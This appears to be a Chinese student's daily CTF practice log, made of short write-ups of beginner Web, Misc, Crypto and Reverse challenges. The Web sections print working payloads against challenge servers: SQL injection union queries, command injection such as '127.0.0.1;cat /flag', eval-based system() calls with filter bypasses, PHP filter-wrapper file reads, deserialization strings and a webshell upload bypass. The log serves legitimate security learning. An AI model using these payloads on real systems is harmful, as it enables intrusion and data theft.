1.8
1、Web
①、 变量1 -bukgu
PHP代码读一下:
1、error_reporting(0); 这行代码设置错误报告级别为0,也就是禁用错误报告。
2、include “flag1.php”; 这行代码用于包含一个名为"flag1.php"的文件。
3、highlight_file(_file_); 这行代码用于将当前文件的源代码进行语法高亮并输出到浏览器。
4、die(“args error!”); 这行代码输出错误信息"args error!"并终止程序的执行。
5、if(isset($_GET[‘args’])){} 这个条件判断语句检查是否存在名为"args"的GET参数。如果存在,则执行后面的代码块。
6、$args = $_GET[‘args’]; 这行代码将GET参数"args"的值赋给变量$args。
7、eval(“var_dump( $ $ args);”); 这行代码使用eval()函数将变量$args的值作为PHP代码执行,也就是通过var_dump()函数将$ args变量的值输出。
8、if(!preg_match("/^\w+/ " , /",/",args)){ } :这个条件判断语句使用正则表达式检查$args变量的值是否符合\w+(\w
是一个“单词字符”的简写,它在正则表达式中代表字母、数字以及下划线(_
))这个模式,也就是是否只包含字母、数字和下划线。如果不符合,则执行后面的代码块。
开始是不了解变量的,去搜了也不认识是什么变量,就干脆用全局变量了
PHP中一些常见的全局变量类型:
-
$GLOBALS
:这是一个关联数组,包含了所有的全局变量。你可以通过它来访问在脚本任何地方定义的变量。 -
$_SERVER
:这是一个包含了诸如头信息、路径和脚本位置等信息的数组。 -
$_GET
:包含了通过URL传递的所有GET请求数据。 -
$_POST
:包含了通过表单提交的所有POST请求数据。 -
$_REQUEST
:包含了GET、POST、COOKIE和环境变量。 -
$_SESSION
:用于访问会话变量,需要会话启动(session_start()
)。 -
$_COOKIE
:包含了所有的cookie数据。 -
$_ENV
:包含了环境变量。 -
$_FILES
:包含了通过enctype="multipart/form-data"
上传的文件信息。 -
$argc
和$argv
:提供了命令行参数。 -
$HTTP_RAW_POST_DATA
:在PHP 5.6.0之后,用于访问原始POST数据。 -
$HTTP_COOKIE_VARS
:是一个旧的、不安全的数组,包含了所有的cookie数据,不推荐使用。
构造/?args=GLOBALS,得到flag
常见的Web变量类型及其用途:
-
服务器变量:由服务器提供,包括关于服务器环境的信息,如
SERVER_SOFTWARE
、REMOTE_ADDR
(客户端IP地址)等。 -
环境变量:与服务器变量类似,但更多地关联于操作系统或运行时环境,如
PATH
、TEMP
等。 -
会话变量(Session Variables):存储在服务器端,用于跟踪用户会话的信息。它们可以用来在多个页面请求之间保持用户状态。
-
请求变量(Request Variables):与用户的HTTP请求相关,包括查询字符串(
QUERY_STRING
)、表单(POST
数据)、cookies、HTTP头等。 -
URL参数:在URL中传递的变量,通常用于传递状态或标识符给Web应用程序。
-
表单变量:通过HTML表单提交的数据,可以在服务器端作为变量处理。
-
Cookie变量:存储在用户浏览器中,用于在用户会话期间或跨会话保持状态。
-
全局变量:在PHP等语言中,全局变量(如
$_GET
、$_POST
、$_SERVER
)可以访问请求数据。 -
局部变量:在脚本或函数内部定义的变量,它们的作用域限定在定义它们的那部分代码内。
-
配置变量:Web应用程序的配置设置,可能存储在配置文件中,用于控制应用程序的行为。
②、源代码-bukgu
打开环境源代码,看到很多“%35%34%61%61%32”这样的字符刚开始不知道是什么,搜了知道是url编码,把每一个url编码进行解密后加到一起,输入即可得到flag
③、bp-bukgu
打开以为是简单的弱口令爆破,试了几次发现长度都一样没有答案
就看了一下响应发现以前是没见过的,去搜了一下这个用于检查一个名为 r
的对象中的 code
属性
就需要在 Grep-Match添加 {code: 'bugku10000'}在进行爆破,虽然爆破完也没有不同的长度,但是出现了其他的东西
看到zxc123最特殊就拿它去试试看能不能得到flag,然后成功得到flag
2、Misc
easy_nbt
不认识nbt,去搜了一下,应该是nbt编辑器
下载nbt编辑器,打开解压缩的文件,搜=搜索flag,找到flag
3、Crypto
你懂我的乐谱吗?
解压的文件是一个图片乐谱,说实话看不懂
在网上搜索得到键盘与乐谱的对照图,手搓得到flag
4、Reverse
特殊的Base64
首先查壳,无壳
使用ida打开,发现base64编码,和base64的自定义编码
使用自定编码base64工具进行解密得到flag
1.9
1、Web
本地管理员
抓包没有什么关键,发现base64加密
解密,猜测是密码
管理员一般是admin,密码应该是test123 ,伪造XFF
发送到重发器,得到flag
2、Misc
zip伪加密
需要密码,用010打开
修改09为00
得到flag
3、Crypto
你喜欢下棋吗
和下棋有关,搜素得到棋盘密码,手搓得出密码,不过要改成小写
解密得到flag的加密
搜索知道这是5bit,解密得到flag
②[鹤城杯 2021]easy_crypto
核心价值观解密得到flag
③[SWPUCTF 2021 新生赛]crypto8
uuencode解密得到flag
4、Reverse
①[HDCTF 2023]easy_re
查壳
脱壳
base64解密得到flag
1.10
1、Web
备份是个好习惯
打开环境得到一串字符串也不知道有什么用,通过观察可以发现是两串一模一样的字符串d41d8cd98f00b204e9800998ecf8427e,但也没什么思路
不过题目是备份,应该是要找bak文件 用dirsearch扫描一下,找到.bak文件
获取bak文件,读代码得到key1不等于key2,但它们的md5值相同,这样可以得到flag,所以猜测d41d8cd98f00b204e9800998ecf8427e是它们的md5值
PHP 的 md5()
函数无法处理数组,如果传入的为数组,会返回 NULL
。因此,两个数组经过 md5()
加密后得到的都是 NULL
,从而满足 md5($key1) == md5($key2)
的条件,即使 $key1
和 $key2
本身不同
PHP 的弱比较 ==
会将某些特定的字符串解释为科学计数法。如果两个字符经 MD5 加密后的值为 0e
开头的形式,会被认为是科学计数法,且表示的是 0 * 10
的几次方,结果是 0
,从而相等。以下是一些已知的字符串,它们的 MD5 值以 0e
开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
所以我们可以构造?kekeyy1=240610708&kekeyy2=QNKCDZO得到flag
2、Misc
密室逃脱
打开word得到一串像摩斯密码的,解密
应该是压缩包的密码,得到明显被改过的图片,尝试用010改回去
把98改成A8
得到
将获取到的wifi密码的前四位1234在链接中输入得到“WIFI密码的前四位”的文件夹,跟着docx的步骤是修改图片高的,直接跳过
将654321输入WIFI IS WHAT.zip的密码,又得到一个docx和一个zip,在docx里有得到一个密码
解压缩得到,感觉好像回到最初
和
对照得到 Ome
后面没感觉没思路,又回去看了一遍
所以flag应该是所有密码按得到的顺序拼接 flag{xjpc123456welcOme}
3、Crypto
①这不是md5
一开始我真的以为它是md5,但都告诉我不是了,我只能往其他方向想
md5:128位2进制(01)代码,然后用16进制显示的,就是32位(128/4=32)。包含0-9a-f共16个字
符。
一开始是真的没想到,后面觉得可能是16进制
②你以为是md5吗
得到bci177a7a9c7udf69c248647b4dfc6fd84o,确实不是md5
把不属于0-9,a-f的删了,得到bc177a7a9c7df69c248647b4dfc6fd84
成功得到flag,真的很6
4、Reverse
①mobile2(gctf)
解压之后得到很多文件,真的不像一个逆向题
在010里找到了flag
② love
无壳
想得到right flag就要Dest数组和Str2数组前v2(就是Dest数组长度)个字符匹配相同
for循环倒过来实现Dest之前的样子e2lfbDB2ZV95b3V9 (忘记截脚本图了)
最后Str怎么转化成Dest,因为有提示base64input和ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
得到flag
1.11
1、Web
[SWPUCTF 2021 新生赛]jicao
读一下代码:
highlight_file('index.php'):显示 index.php
文件的内容,并对其进行语法高亮
include("flag.php"):包含一个名为 flag.php
的文件,该文件可能定义了一个变量 $flag
,用于存储标志字符串。
$id = $_POST['id']:从 POST 请求中获取 id
参数的值,并赋给变量 $id
if ($id == "wllmNB" && $json['x'] == "wllm") {echo $flag;}
:
检查两个条件:
$id
是否等于"wllmNB"
$json
数组中的x
键的值是否等于"wllm"
如果这两个条件都满足,则输出 $flag
。
所以在get 请求中需要填入:?json={"x":"wllm"}
post请求填入:id=wllmNB
即可得到flag
2、Misc
[LitCTF 2023]喜欢我的压缩包么 (初级)
根据提示设置口令长度
接触密码打开zip文件得到一张图片,得到flag
3、Crypto
[HDCTF 2023]爬过小山去看云
据题目hill,猜到是希尔密码
根据提示得到数组: 3 4 19 11,解密
将解密的数字写出来得到: 842084210884024084010124
不认识是什么密码,后面看wp 是云影密码,写个脚本解一下,得到flag
云影密码,又称为“01248密码”,是一种古典密码学中的加密方法。它使用数字 0、1、2、4、8 来表示英文字母,其中 0 用作间隔符,其他数字通过加法组合表示 1 到 26 之间的数字,这些数字对应英文字母表中的位置。
4、Reverse
①[HGAME 2023 week1]encode
第一步查壳
没有壳,用ida 打开
找到main函数按F5反编译
读一下伪代码
v4[100]
:一个整型数组,用于存储处理后的数据。v5[52]
:一个字符数组,用于存储输入字符串。j
和i
:循环变量。- 使用
memset
函数将v5
和v4
数组初始化为 0。 sub_4011A0(a50s, (char)v5);
:调用sub_4011A0
函数,传入字符串a50s
和v5
数组。这个函数的具体实现未知,但可以推测它可能将a50s
的内容复制到v5
中。- 将
v5
中的每个字符拆分为两个 4 位的整数,并存储到v4
中。 v4[2 * i] = v5[i] & 0xF;
:取v5[i]
的低 4 位。v4[2 * i + 1] = (v5[i] >> 4) & 0xF;
:取v5[i]
的高 4 位。- 遍历
v4
数组,与预设的dword_403000
数组进行比较。 - 如果
v4[j]
与dword_403000[j]
不相等,调用sub_401160
函数并返回 0。 sub_401160(Format, v4[0]);
:调用sub_401160
函数,传入Format
和v4[0]
。这个函数的具体实现未知,但可以推测它可能用于输出错误信息。- 如果所有元素都匹配,调用
sub_401160(aYesYouAreRight, v4[0]);
函数,传入aYesYouAreRight
和v4[0]
。这个函数的具体实现未知,但可以推测它可能用于输出成功信息
先找一下100个数的数组
写下来就是下图的这一串
将for循环逆向编译 就可以得到flag,脚本如下
运行得到flag
②[LitCTF 2023]程序和人有一个能跑就行了
无壳
ida打开,反编译main函数
大概意思就是buf1是程序里面的数据,然后我们输入的内容给buf2,key是litctf,加密出来喝buf1比较,所以我们现在只要buf1来解密就可以得到flag
这个一看就不对,再看一遍
框图里面有两个,意思是一个对的,一个错的,那就是另一个(左边),右边那个是伪代码里面的不对
1.12
1、Web
[LitCTF 2023]PHP是世界上最好的语言!!
构造 <?php system("cay/flag");?>得到flag
2、Misc
[LitCTF 2023]OSINT 探姬去哪了?_0
打开得到一张图片
在属性里找到经纬度,看来是社工
将经纬度进行转化
在经纬度查询定位工具里定位到 浙江省嘉兴市秀洲区,一次寻找,发现是中国电信大夏
3、Crypto
[鹤城杯 2021]A_CRYPTO
ROT13(rotate by 13 places)是一种字母替换密码,通过将字母表中的每个字母移动 13 个位置来加密或解密文本。由于字母表有 26 个字母,ROT13 是一种对称加密算法,即加密和解密使用相同的算法。
ROT13解密
16进制转字符串
base32解密
base64解密
base85解密,一开始解不出来以为弄错了,看来wp就是base85,用脚本解一下得到flag
4、Reverse
①[HGAME 2023 week1]easyenc
查壳
ida打开找到main函数F5查看伪码
把 v8 的每一 byte 提取出来,然后利用异或的性质解出明文
字节序,又称端序或尾序,指的是多字节数据在计算机内存中的存放顺序。
大小端:大端和小端是两种不同的字节序表示方法
脚本运行得到flag
②[HUBUCTF 2022 新生赛]simple_RE
查壳
ida打开找到main函数F5查看伪码
v6是flag,经过sub_401570加密,得到a5mc58bphliax7j对应的加密后的值,是加密后的flag值
看一下sub_401570怎样加密
不是很看得懂,大佬的wp说是把是“flag进行变异的base64编码,编码结果为a5mc58bphliax7j对应的数据,即5Mc58bPHLiAx7J8ocJIlaVUxaJvMcoYMaoPMaOfg15c475tscHfM/8== ”这样就比较清晰了,可以写脚本来运行了
1.13
1、Web
[GDOUCTF 2023]泄露的伪装
打开环境好像没什么提示。直接dirsearch
得到两个文件,不管先下载下来
在gift(2)得到提示
打开 orzorz.php得到
读一下代码,大概意思是代码中的 file_get_contents 是一个读取文件内容函数,我们需要向参数cxk,传入ctrl以获得flag
构造 data://
协议: ?cxk=data://text/plain,ctrl
data://
协议是一种允许在 URL 中直接嵌入数据的协议。在 PHP 中可以用于生成和处理小型数据流
格式:data:[<mediatype>][;base64],<data>
<mediatype>
:MIME 类型,例如text/plain
、text/html
、image/png
等。base64
:如果数据是 Base64 编码的,需要加上;base64
。<data>
:实际的数据内容
2、Misc
[GDOUCTF 2023]misc_or_crypto?
打开得到一张图片,是rsa ,得到密钥
和加密的文本
工具在线解密
16进制转 ASCLL
3、Crypto
[FSCTF 2023]兔帽的奇妙冒险
根据题目提示,第一步是base64解密
第二步是rabbit解密,加上固定的格式头
流密码是一种对称密钥加密算法,它将明文数据流逐位(或逐字节)加密。流密码通常用于加密数据流,如网络通信中的数据包或文件流。与分组密码(如 AES)不同,流密码处理的是连续的数据流,而不是固定大小的数据块。
Rabbit 是一种高性能的流密码加密算法,通常用于对数据进行加密和解密。Rabbit 算法加密后的数据通常以 U2FsdGVkX1
开头。这个固定的头是 crypto-js 库的格式
4、Reverse
①[GDOUCTF 2023]Check_Your_Luck
打开是一个cpp文件,用Devc++打开
读代码可以知道需要传入五个随机数满足for循环,使用脚本实现
将脚本中的数字四舍五入输入得到flag
② [HGAME 2023 week1]a_cup_of_tea
查壳
ida打开找到main函数F5查看伪码
大概意思是输入的数据经过处理后与预设的Buf2
数组的前34个字节完全相同,则输出"Congratulations!"
,否则输出"wrong..."
。
脚本输出得到flag
1.14
1、Web
[FSCTF 2023]ez_php1
一开始以为又是一个弱比较问题,结果更复杂
$a
不等于$b
,但它们的MD5哈希值相等,如果条件成立,输出"!!!"
,检查POST参数FL_AG
是否存在,如果存在,检查变量$ja
是否包含字符串"flag",
如果包含,输出"You are bad guy!!!",
如果不包含,输出"Congratulation!!"
和变量$hint1
的值
所以构造get:?a=240610708&b=QNKCDZO
post:FL_AG=1
得到L0vey0U.php 文件,直接访问
尝试反序列化$str,
如果反序列化后的结果等于$KEY
,则输出$hint2
。假设$hint2
在globals.php
中定义。
构造序列化字符串,反序列化后等于$KEY
得到?str=s:10:"YES I love";进行get 传参
得到P0int.php ,访问
类Clazz
有两个公共属性$a
和$b
。__wakeup
方法在对象被反序列化时调用,它会读取文件g0t_f1ag.php
的内容,并将其Base64编码后赋值给$a
。__destruct
方法在对象被销毁时调用,它会输出$b
的值。
反序列化POST参数data:
使用@
符号抑制错误输出。反序列化POST参数data
。
构造一个包含Clazz
对象的序列化字符串,并通过POST请求发送给服务器。
得到O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;},进行post 传参
得到的字符串容易看出是base64,解密
在PHP中,反序列化是一个将字符串转换回PHP值的过程。这个过程可以通过unserialize
函数实现。
2、Misc
[FSCTF 2023]小试牛刀
010打开得到一个错误的flag
base62解密,得到一个密码
看wp知道原来是需要一个JPHS的工具,打开工具点击save,输入两次密码得到flag
3、Crypto
[LitCTF 2023]Hex?Hex!(初级)
Hex解密
4、Reverse
[HGAME 2023 week1]test your IDA
查壳
ida打开即可看见flag
[WUSTCTF 2020]level2
upx壳,32位
脱壳
ida打开得到flag
1.15
1、Web
[SWPUCTF 2021 新生赛]include
根据题目提示传入file
读以下代码
可知allow_url_include 状态为on,最后有include_once($file);
想到题目include,应该是文件包含,用php伪协议,用filter读取flag.php里面的信息构造
url ?file=php://filter/read=convert.base64-encode/resource=flag.php
是base64解密
2、Misc
[LitCTF 2023]What_1s_BASE (初级)
base64解密
3、Crypto
[LitCTF 2023]Virginia
维吉尼亚解密,密钥flag
因为开头是LitCTF,可以手搓出凯撒密码的变化,写脚本的成绩flag
4、Reverse
①[HGAME 2023 week1]easyasm
可以看出txt是一个从 ida 上扒下来的汇编代码
可以看出是一个for循环和xor加密
在汇编语言中,i = dword ptr -4
这行代码表示在函数的栈帧中分配一个4字节(dword)的局部变量 i
,并将其初始化为0。这个局部变量 i
用于循环计数。
脚本得出flag
②[FSCTF 2023]MINE SWEEPER
alt+T搜索flag 或ctf
1.16
1、Web
[FSCTF 2023]Hello,you
题目提示rce
ls查看根目录
得到
过滤出flag.php,因为cat,tac被禁止了,所以用less
2、Misc
010打开,base64编码
解密得到flag
3、Crypto
[CISCN 2023 初赛]Sign_in_passwd
base64 换表
脚本得到flag
4、Reverse
①
无壳
base64码表
main函数的反函数
Str是输入的flag,先经过base64这个函数加密
读一下base64函数,看到basechange(Source),可能将base64表换了,if之后的就是干扰了
,找到Destination,可以得到被加密的变化的base64表:gJ1BRjQie/FIWhEslq7GxbnL26M4+HXUtcpmVTKaydOP38of5v90ZSwrkYzCAuND
直接找工具解密
②[FSCTF 2023]signin
有壳
脱壳
ida打开
简单的替换,在循环内部,它检查当前字符 v4 的值,如果是 '1',则将其替换为 'i',如果是 '4',则替换为 'a',如果是 '5',则替换为's',如果是 '0',则替换为 'o'。得到flag
1.17
1、Web
[LitCTF 2023]Vim yyds
提到vim,先用dirsearch查一下
存在swp,可以获取文件
在kali里用vim编辑器打开,得到
读代码可知,定义了一个password=Give_Me_Your_Flag,如果post传参password=“Give_Me_Your_Flag”的base64加密并且 传一个cmd=“xxxx"的值,则可以得到Oh You got my password!
将 Give_Me_Your_Flag进行base64加密
构造password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag进行POST传参,成功得到flag
2、Misc
[SWPUCTF 2023 秋季新生赛]GIF Code
Stegsolve截取gif每一帧的图,总共九帧,拼接为二维码
扫码得到flag
3、Crypto
[LitCTF 2023]你是我的关键词(Keyworld) (初级)
第一眼以为是凯撒密码,结果是关键字密码,关键字为:You
4、Reverse
①[HNCTF 2022 WEEK4]checker
找到源代码的主函数
大概意思是对password进行解密得到的字符串与goldenticket相等,将goldenticket进行base64加密就行
对应输入得到flag
②[HNCTF 2022 WEEK2]getflag
无壳
这个次数有点不现实,所以可以尝试去修改它
用ida打开,找到check函数
修改cmp 的值
1.18
1、Web
[FSCTF 2023]EZ_eval
读一下代码;
过滤cat
、tac
、tail
、more
、head
、nl
、flag
、less和空格
eval("?>". $word);:?>表示代码闭合,后面不能继续执行
可以用php短标签:
1、<? echo '123';?> :有配置参数short_open_tags=on
2、<script language="php">echo 'hello'; :不需要修改参数开关,但是只能在7.0以下可用。
3、<% echo '123';%> :开启配置参数asp_tags=on,并且只能在7.0以下版本使用
构造?word=<script%09language='php'>system('ls%09/');</script>找到根目录
构造 ?word=<script%09language='php'>system('ca\t%09/fl$*ag');</script>过滤得到flag
2、Misc
[GDOUCTF 2023]pixelart
题目提示像素,查看图片属性
zsteg查看隐写数据得到flag
3、Crypto
[GDOUCTF 2023]Absolute_Baby_Encrytpion
把里面的参数提取出来然后再对照js码得到flag,运行脚本得到flag
4、Reverse
①[FSCTF 2023]EZRC4
无壳
ida找到main 函数查看伪码
-
data[27]
:用于存储要加密的数据。 -
key[17]
:用于存储加密密钥。 -
key_len
:密钥的长度。
-
调用
rc4_crypt
函数对data
数组进行加密。参数0x1Bu
表示数据长度为27,0x10u
表示密钥长度为16。
查看rc4_crypt
调用 rc4_init
函数初始化S盒,初始化索引 i
和 j
为0。遍历数据,生成密钥流并与数据进行异或操作。
运行脚本得到flag
②[HGAME 2023 week3]cpp
无壳
ida打开两个错误的flag
F5查看伪码
v6 = sub_1400026A0((_DWORD)v5, (unsigned int)"hgame{th1s_is_4_fake_fl4g_hahaha}", 305419896, (unsigned int)"hgame{this_is_another_fake_flag}", v7)
:调用函数进行加密或验证操作,结果存储在 v6
中
看到int_64这个函数,大概是说检查 a1
对象的某个成员变量是否满足条件,如果条件不满足,设置 v6
为0,否则计算 v6
的值
反正它是个异或,运行得到flag
1.19
1、Web
[LitCTF 2023]Ping
输入127.0.0.1试试
禁用JavaScript函数,输入 127.0.0.1;ls / ,可以看到根目录
输入 127.0.0.1;cat /flag ,过滤出flag
2、Misc
[HDCTF 2023]MasterMisc
解压还是zip文件,需要密钥 ,而且还是分卷压缩文件,先合并
使用 ARCHPR爆破一下
里面是一张图片 ,用010打开,里面藏了一张图片,分离出来
使用foremost可以分离出一个音频,和一张图
先看图片,010打开
修改图片高度
得到一串可能是flag的部分
分析音频文件,查看频谱图得到HDCTF{e67d8104
感觉还差了一点,从头再看一遍,在第一张图片发现了最后一部分
所以flag=HDCTF{e67d8104-7536-4433-bfff-96759901c405}
3、Crypto
[LitCTF 2023]yafu (中级)
根据题目yafu分解素数,得到 f_list=libnum.factorize(n)
或者直接写脚本得到flag
import gmpy2 from Crypto.Util.number import long_to_bytes n = 15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307 e = 65537 c = 12608550100856399369399391849907846147170257754920996952259023159548789970041433744454761458030776176806265496305629236559551086998780836655717 p1=2151018733 p2=2201440207 p3=2315495107 p4=2585574697 p5=2719600579 p6=2758708999 p7=2767137487 p8=2906576131 p9=2923522073 p10=3354884521 p11=3355651511 p12=3989697563 p13=4021078331 p14=4044505687 p15=4171911923 phi = (p1 - 1) * (p2 - 1) * (p3 - 1) * (p4 - 1) * (p5 - 1) * (p6 - 1) * (p7 - 1) * (p8 - 1) * (p9 - 1) * (p10 - 1) * (p11 - 1) * (p12 - 1) * (p13 - 1) * (p14 - 1) * (p15 - 1) d = gmpy2.invert(e, phi) m = pow(c, d, n) print(long_to_bytes(m))
4、Reverse
①[GDOUCTF 2023]Tea
无壳
找到正确的flag 出现
根据函数变化
v7为key,被改为{2233,4455,6677,8899}
运行脚本
转字符串
②[CISCN 2023 初赛]babyRE
打开时xml文件
notepad++打开,
看到flag,错的
继续读,大概是secret变换后的异或加密
1.20
1、Web
[SWPUCTF 2021 新生赛]easyupload1.0
题目要求传一个jpg文件,分别传一个一句话木马的php文件和jpg文件抓包对比一下不同,当我们把php文件的content-Type 改了和jpg文件相同时,可以看到文件的上传路径
使用蚁剑连接,可以看到flag,不过是错的
看大佬的wp真正的flag在phpinfo里
2、Misc
[LitCTF 2023]破损的图片(初级)
010打开,发现3F有八个,开头一般是文件结构,所以应该是png图片:89 50 4E 47 0D 0A 1A 0A
修复图片得到flag
3、Crypto
[BJDCTF 2020]base??
字符顺序被替换的base64编码表。
找到chipertext中的每个字符在dict中对应的位置(下标),再找到这些位置在标准base64编码表中对应的字符
4、Reverse
①[FSCTF 2023]Xor
无壳
ida找到main 函数查看伪码
使用 qmemcpy
将字符串 "t~suiFz{aM{aMsMwsakM
wdwawo"
放到数组 a
的前28个字节。将数组 a
的第29个字节(索引为28)设置为 18
(十六进制的 0x12
),所以数组 a
的内容为:t~suiFz{aM{aMsMwsakM`wdw`awo
对
字符串 b
的每个字节进行异或操作,遍历数组 a
和 b
的每个字节,逐个比较它们的内容。如果发现任何不匹配的字节,程序会输出 "Wrong!!!"
异或得到flag
②[LitCTF 2023]debase64
无壳
ida查看伪码
看sub_402290()的作用
sub_402290
是一个确保初始化逻辑只执行一次的函数
看函数 sub_401520(v13, v4),作用
处理 Base64 编码的数据,并将其解码为原始字节序列
脚本运行得到:Y0uReallyKn0wB4sAAAA
题目提示最后有3个=,就是要进行密码爆破
1.21
1、Web
[LitCTF 2023]1zjs
查看网页源码,根据提示“js”找到/index.umd.js,然后可以知道需要访问/f@k3f1ag.php
可以发现是JSFuck编码,解码
flag=NSSCTF{6e360905-7fc8-43ba-ae3d-8fa4e08e292c}
2、Misc
[LitCTF 2023]两仪生四象 (中级)
题目的作用是将一个字符串(LitCTF)转换为基于八卦符号的编码
脚本运行得到flag
3、Crypto
[SWPUCTF 2023 秋季新生赛]EasyRSA
rsa运算
将整数转换为字节序列
4、Reverse
①[LitCTF 2023]ez_XOR
无壳
查看和flag相关的伪代码
输入一个字符串与3异或后和str2相同则输出“U Saved IT!”,所以flag就是str2
运行脚本得到flag
②[HGAME 2023 week2]before_main
ida打开
调用 sub_12EB
函数对输入的字符串 v6
进行处理与AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=对比,如果相同,输出“congratulations!”
sub_12EB
函数:
将输入的字符串编码为 Base64 格式的字符串 ,将AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=进行base64解密,发现不对
再看发现qword_4020
作为 Base64 编码表,索引对应的字符,找
在 qword_4020发现可疑sub_1229
查看
sub_1229,发现疑似base64的编码表
解码得到flag
1.22
1、Web
[SWPUCTF 2021 新生赛]easy_sql
查看是否有无参数
参数wllm ,输入wllm=1,回显正常
输入wllm=1'报错,字符型注入
输入 ?wllm=1' order by 1--+, 直到?wllm=1' order by 4--+报错,所以为3列.报错,所以为3列.
通过占位符查看回显
爆数据库名 :?wllm=-1' union select 1,2,database()--+
爆表: ?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
爆字段: ?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
爆字段值: ?wllm= -1' union select 1,2,group_concat(id,flag) from test_tb--+
2、Misc
[SWPUCTF 2021 新生赛]gif好像有点大
在562帧找到二维码
识别得出flag
3、Crypto
[WUSTCTF 2020]佛说:只能四天
打开txt文件,佛曰密码,但是没有解出来,再看了题目描述知道有“《旧约全书》和《新约全书》”,然后佛曰密码同样,要使用新约佛解密
解出来核心价值观编码,继续解码
解出提示栅栏,题目提示4,所以栏数为4,继续解密
揭秘提示凯撒,继续解密
base32
4、Reverse
①[SWPUCTF 2021 新生赛]简简单单的逻辑
附件的意思是flag与list异或输出得到result
②[LitCTF 2023]世界上最棒的程序员
没有壳
ida打开shift+F12
1.23
1、Web
[SWPUCTF 2021 新生赛]easyupload2.0
直接传php文件得到不到,用dirsearch扫描一下
有flag文件先传一下,果然什么都没有,再试一试upload
使用bp抓包,修改php的后缀名为phtml,得到上传路径
蚁剑连接得到flag
2、Misc
[NISACTF 2022]为什么我什么都看不见
010打开,文件头很明显缺失,大概可以猜出是png的格式,补全文件头,看待完整的图片
StegSolve打开进行分析
3、Crypto
[SWPUCTF 2021 新生赛]pigpig
认识了新的密码:猪圈密码
手搓得到flag:whenthepigwanttoeat
4、Reverse
①[SWPUCTF 2021 新生赛]非常简单的逻辑题
flag的值与17相除取整得到s1,与17相除取余
S1和S2拼接
②[MoeCTF 2022]Hex
没有壳
在ida里没有找到,仔细看了题目描述,用notepad++打开找到flag
1.24
1、Web
[SWPUCTF 2021 新生赛]babyrce
检查用户是否设置了名为admin
的Cookie,并且其值为1,
条件满足,输出next.php
文件
bp抓包在重发器添加cookie值,发送,得到 rasalghul.php
访问rasalghul.php
过滤了空格 ,使用$IFS$9代替空格,查找根目录
过滤flag
2、Misc
[LitCTF 2024]你说得对,但__
二维码识别出是米哈游的下载界面
用010打开进行分析,发现隐藏了png文件,进行文件分离,得到四张二维码的不同位置,把它们拼起来
二维码在线识别得到flag
3、Crypto
[NSSCTF 2022 Spring Recruit]classic
凯撒解密,错误的
提示base解密,应该是base32
4、Reverse
①[HNCTF 2022 WEEK2]Packet
upx壳
脱壳
ida查看主函数伪码
输入v5经过do_something函数处理储存到str2,将处理后的字符串Str2
与一个名为enc
的字符串进行比较
do_something函数
实现了一个自定义的编码函数
在ida中可以找到base64的编码和自定义编码
进行解码得到flag
②[WUSTCTF 2020]level1
ida打开
flag有20位,对奇数左移,偶数乘法(根据txt文件的数组,转化为acill)
1.25
1、Web
[SWPUCTF 2021 新生赛]Do_you_know_http
提示browser,抓包修改 User-Agent
放包显示“You can only read this at local!”,伪造XFF
2、Misc
[LitCTF 2024]关键,太关键了!
题目的意思应该是需要要找出出现频率最高的字符
在线工具统计后为bingo,进行关键字解密
3、Crypto
[MoeCTF 2022]vigenere
题目提示vigenere,进行密码爆破
4、Reverse
①[HNCTF 2022 Week1]Little Endian
没有壳
enc数组进行异或
脚本进行异或
最后把每个元素转换为十六进制字符串,并去掉前缀 0x 进行逆序
②[BJDCTF 2020]encode
upx壳
脱壳
ida找到和flag相关的函数查看伪码
能看出flag是21位,并经过多次加密
1.26
1、Web
[SWPUCTF 2021 新生赛]ez_unserialize
dirsearch扫描
分别访问,可以robots.txt
文件
访问cl45s.php
创建了两个函数__construct()函数和__destruct()函数,这两个的功能分别是初始化admin和passwd以及判断admin和passwd的值是否为ture。如果admin==="admin",passwd==="ctf"的话,则echo出包含的flag文件
脚本反序列化
构造?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";},输出flag
② [LitCTF 2023]Follow me and hack me
get 和post传参
③ [SWPUCTF 2021 新生赛]easyrce
构造?url=system('ls /'); ,查找根目录
过滤flag
2、Misc
[SWPUCTF 2021 新生赛]我的银行卡密码
密码爆破 ,题目提示密码六位
打开md文件
The encryption scheme of next stage is decided by the last letters.
表明下一步的解密方案由最后一个字母决定——letters
看大佬wp说是九宫格键盘密码:第一排的数字里可以看到第一个数范围在2-9,第二个数的范围在1-3
YLOPJOGJVOCCYNMZYPGXGPOGJDVIGATBASH,最后atbash,说明是atbash密码
bolkqltqelxxbmnabktctkltqwert,最后是qwerty键盘密码
得到xisraseacsuuxzykxreverse,看到reverse,得到xkyzxuuscaesarsix
是凯撒密码,偏移量为6
md源文件提示NSSCTF{REVERSE(**@@@@@@@@**)} ,所以再次逆向
NSSCTF{moortser}
3、Crypto
[LitCTF 2023]原来你也玩原神 (初级)
好迷茫的的密码,提瓦特文字
网上找了对照表,手搓
flag=LITCTF{YUANLAINIYEWANYUANSHENWWW}
4、Reverse
[HNCTF 2022 WEEK3]Double
没有壳
查看主函数
双进程通信问题,将arr[i ^ buf]
与enc[i]
进行比较
脚如下
int main()
{
int enc[60] = {...... };
int arr[256] = {...... };
for (int j = 0; j < 60; j++)
{
for (int i = 0; i < 265; i++)
{
if (enc[j] == arr[i])
{
printf("%c", j^ i);
}
}
}
}
2.4
1、Web
①[SWPUCTF 2021 新生赛]no_wakeup
construct:
初始化类的属性 $admin
和 $passwd
。
wakeup:
当对象被反序列化时触发,将 $passwd
的值通过 sha1()
函数进行哈希处理
构造 pop链
输出
__wakeup
的魔术方法:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
所以输入O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
② [SWPUCTF 2021 新生赛]PseudoProtocols
题目要找hint.php,直接访问行不通 ,那就理解题目,PseudoProtocols是伪协议的意思
构造 filter伪协议
